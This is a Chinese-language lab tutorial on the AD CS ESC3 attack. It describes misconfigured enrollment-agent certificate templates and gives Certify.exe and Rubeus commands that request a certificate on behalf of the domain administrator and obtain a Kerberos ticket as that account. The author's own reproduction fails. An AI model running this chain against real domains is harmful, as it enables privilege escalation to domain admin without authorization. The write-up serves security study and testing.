一、错误配置证书申请代理模板 ESC3
1、错误配置
1、模板允许一个低权限用户去注册一个代理证书
这个条件和ESC1差不多,不需要设置使用者名称为在请求中提供,以及在扩展中修改应用程
序策略的EKU为证书申请代理OID(1.3.6.1.4.1.311.20.2.1)。
2、另外一个模板允许一个低权限用户使用代理证书(enrollment agent certificate)去代表另外一个用户请求证书,并且这个模板的EKU里配置有允许域认证的EKU。
2、危害环境配置
第一个模板名称为ECS3:在ECS1的配置基础上,使用者名称改回默认的用Active Directory中的信息生成,扩展中的应用程序策略改为证书申请代理。
第二个模板名称为ECS3_1:在ESC1的基础上安全不用改,使用者名称恢复默认的用Active Directory中的信息生成。扩展也不用改,保留里面的客户端认证EKU。要修改的内容如下:
3、工具利用
Certify.exe find /vulnerable
这是第一个模板,还有第二个模板,你会发现这个命令并没有识别出ESC3_1的模板。因此使用这个工具的时候也要注意了,不要只用上面的命令查看是否有危害,工具不是万能的。我们使用:
Certify.exe find /ca:"dc.test.com\test-DC-CA"
这个命令查看证书服务器上可用的所有模板,其中ESC3_1满足我们利用的第二个条件:
首先我们,利用ESC3模板获取一个代理证书:
Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3
然后pem转pfx,其中onbehalfof参数一定要使用NETBIOS名。
Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3_1 /onbehalfof:TEST\administrator /enrollcert:3.pfx
最后一步,再使用pem转pfx,然后使用Rubeus:
Rubeus.exe asktgt /user:TEST\administrator /certificate:4.pfx
由于我是windows server 2016搭建的ADCS,这里复现会出错,故暂不复现